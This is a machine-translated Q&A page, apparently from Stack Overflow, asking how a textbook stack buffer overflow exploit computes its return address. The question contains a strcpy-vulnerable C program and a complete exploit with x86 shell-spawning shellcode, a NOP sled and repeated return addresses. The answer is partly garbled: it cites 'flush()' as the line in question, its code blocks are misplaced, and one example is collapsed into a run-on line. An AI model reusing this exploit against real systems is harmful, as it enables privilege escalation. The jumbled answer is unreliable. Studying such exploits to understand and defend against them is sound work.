基于堆栈的缓冲区溢出-“ shell代码”的返回地址

时间:2018-12-04 12:37:05

标签: c buffer-overflow exploit

我正在读《黑客-剥削的艺术第二版》这本书。

对于以下示例,将字符串缓冲区作为基于堆栈的缓冲区溢出易受攻击的过程的参数进行注入,我感到困惑。

缓冲区结构:

  

| NOP | NOP ... NOP | NOP |外壳代码| RET | RET ... RET |

在易受攻击的进程中,该缓冲区被复制到char缓冲区,并且应该溢出并替换基本堆栈参数,这些参数还包括原始返回地址。

根据文本-RET应该指向NOP幻灯片上的某个位置,以使EIP幻灯片滑下NOP幻灯片并执行外壳代码-听起来不错!

但是,如何推断这个RET地址?

易受攻击的代码(进程1):

int main(int argc, char *argv[]) {
    int userid, printing=1, fd; // File descriptor
    char searchstring[100];

    if(argc > 1) // If there is an arg
        strcpy(searchstring, argv[1]);  //<-------- buffer is injected here
    else // otherwise,
        searchstring[0] = 0;

开发代码-进程2:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";


int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret;
    char *command, *buffer;

    unsigned int offset=atoi(argv[1]);

    command = (char *) malloc(200);
    bzero(command, 200); // Zero out the new memory.

    strcpy(command, "./notesearch \'"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.

    if(argc > 1) // Set offset.
        offset = atoi(argv[1]);

    ret = (unsigned int) &i - offset; //Set return address <---- How ???

    for(i=0; i < 160; i+=4) // Fill buffer with return address.
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Build NOP sled.
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

    strcat(command, "\'");

    system(command); // Run exploit.
    free(command);
}

这是我变量在process#2 main顶部声明的一个巧合吗? ret应该从进程1的主堆栈中某个地方获取返回值吗?

编辑: 具体来说,我不了解一个进程如何访问另一个进程的内存空间-

  

ret =(unsigned int)&i-偏移量; //设置返回地址

或者也许我在这里误会了一些东西。

1 个答案:

答案 0 :(得分:0)

所以这行是问题

flush()

据我所知,一个用户进程无法访问另一个用户进程内的内存。但是,为什么代码的作者使用 i 的地址来计算返回地址?对于像notesearch这样的简单程序,其地址通常相差不大,所以目的是帮助读者轻松计算返回地址。好的,让我描述一下。

案例 1

ret = (unsigned int) &i - offset;

从case 1可以看出,返回地址等于&i,这样你的返回地址覆盖原来的返回地址后,代码会返回&i,这是垃圾数据。那么如何让返回地址指向NOP雪橇呢?是的,这就是您输入的偏移量发挥作用的时候。

案例 2

&i == 0x0061fb20
&searchstring == 0x0060fa10
offset = 0
return_address = 0x0061fb20 = &i - offset

notesearch memory view

                  High address
0xFFFFFFFF    +------------------+
              |                  |
              |   garbage data   |
              |                  |
0x0061fb20    +------------------+ <- &i # EIP land here, wrong address
              |                  |
              |                  |
              |                  |
              |                  |
              |  return_address  |
              |                  |
              |    shellcode     |
              |                  |
              |     NOP sled     |
              |                  |
0x0060fa10    +------------------+ <- start of searchstring
              |                  |
0x00000000    +------------------+
                  Low address

您在这里的工作是在 &i 和您的偏移量的帮助下计算返回地址,以便 EIP 将落在搜索字符串或 NOP 雪橇的开头。要计算它,您应该在调试器中运行漏洞利用程序并查找 &i,然后运行 ​​notesearch 程序并查找 &searchstring。 &i == 0x0061fb20 &searchstring == 0x0060fa10 offset = &i - &searchstring return_address = 0x0060fa10 = &i - offset notesearch memory view High address 0xFFFFFFFF +------------------+ | | | garbage data | | | 0x0061fb20 +------------------+ <- &i | | | | | | | | | return_address | | | | shellcode | | | | NOP sled | | | 0x0060fa10 +------------------+ <- &i - offset # start of searchstring, EIP land here | | 0x00000000 +------------------+ Low address offset = &i - &searchstring